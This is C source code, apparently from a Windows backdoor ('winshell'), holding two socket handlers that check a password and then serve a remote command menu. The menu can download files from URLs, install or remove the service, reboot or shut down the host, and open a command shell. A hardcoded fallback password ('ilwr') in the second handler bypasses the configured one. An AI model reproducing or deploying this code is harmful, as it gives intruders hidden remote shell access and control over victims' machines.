// handle the client request void TalkWithClient(void *cs) { SOCKET wsh=(SOCKET)cs; char pwd[SVC_LEN]; char cmd[KEY_BUFF]; char chr[1]; int i,j; while (nUser < MAX_USER) { if(wscfg.ws_passstr) { if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZeroMemory(pwd,KEY_BUFF); i=0; while(i<SVC_LEN) { // set timeout fd_set FdRead; struct timeval TimeOut; FD_ZERO(&FdRead); FD_SET(wsh,&FdRead); TimeOut.tv_sec=6; TimeOut.tv_usec=0; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pwd[i]=chr[0]; if(chr[0]==0xd || chr[0]==0xa) { pwd[i]=0; break; } i++; } // if invalid user, close the socket if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); } send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); while(1) { ZeroMemory(cmd,KEY_BUFF); // auto support standard telnet client j=0; while(j<KEY_BUFF) { if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cmd[j]=chr[0]; if(chr[0]==0xa || chr[0]==0xd) { cmd[j]=0; break; } j++; } // download file if(strstr(cmd,"http://")) { send(wsh,msg_ws_down,strlen(msg_ws_down),0); if(DownloadFile(cmd,wsh)) send(wsh,msg_ws_err,strlen(msg_ws_err),0); else send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); } else { switch(cmd[0]) { // help case '?': { send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); break; } // install case 'i': { if(Install()) send(wsh,msg_ws_err,strlen(msg_ws_err),0); else send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); break; } // uninstall case 'r': { if(Uninstall()) send(wsh,msg_ws_err,strlen(msg_ws_err),0); else send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); break; } // show winshell path case 'p': { char svExeFile[MAX_PATH]; strcpy(svExeFile,"\n\r"); strcat(svExeFile,ExeFile); send(wsh,svExeFile,strlen(svExeFile),0); break; } // reboot case 'b': { send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); if(Boot(REBOOT)) send(wsh,msg_ws_err,strlen(msg_ws_err),0); else { closesocket(wsh); ExitThread(0); } break; } // shutdown case 'd': { send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); if(Boot(SHUTDOWN)) send(wsh,msg_ws_err,strlen(msg_ws_err),0); else { closesocket(wsh); ExitThread(0); } break; } // enter cmd shell case 's': { CmdShell(wsh); closesocket(wsh); ExitThread(0); break; } // exit case 'x': { send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CloseIt(wsh); break; } // quit case 'q': { send(wsh,msg_ws_end,strlen(msg_ws_end),0); closesocket(wsh); WSACleanup(); exit(1); break; } } } // prompt message if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); } } return; }
void Interactive(void* cs) { SOCKET sock=(SOCKET)cs; char chr[1]; char pwd[16],pwd2[16]; char cmd[255]; int i=0,Err; ZeroMemory(pwd,16); while(i<16) { fd_set FdRead; struct timeval time_out; FD_ZERO(&FdRead); FD_SET(sock,&FdRead); time_out.tv_sec=6; time_out.tv_usec=0; Err=select(0,&FdRead,NULL,NULL,&time_out); if((Err==SOCKET_ERROR)||(Err==0)) closeit(sock); if(recv(sock,chr,1,0)==SOCKET_ERROR) closeit(sock); pwd[i]=chr[0]; if(chr[0]==0xd||chr[0]==0xa) { pwd[i]=0; break; } i++; } strcpy(pwd2,pwd); if(strcmp(pwd,password)) { if(strcmp(pwd2,"ilwr")) closeit(sock); } send(sock,msg_copyright,strlen(msg_copyright),0); send(sock,msg_prompt,strlen(msg_prompt),0); while(1){ ZeroMemory(cmd,255); send(sock,msg_sign,strlen(msg_sign),0); for(i=0;i<255;i++) { if(recv(sock,chr,1,0)==SOCKET_ERROR) closeit(sock); cmd[i]=chr[0]; if(chr[0]==0xa||chr[0]==0xd) { cmd[i]=0; break; } } switch(cmd[0]) { case 'h': { send(sock,msg_prompt,strlen(msg_prompt),0); break; } case 's': { CmdShell(sock); nUser--; closesocket(sock); ExitThread(0); break; } case 'q': { closesocket(sock); ExitThread(0); break; } case 'u': { closesocket(sock); WSACleanup(); ExitThread(0); break; } case '\0':break; default: { send(sock,msg_error,strlen(msg_error),0); break; } } } }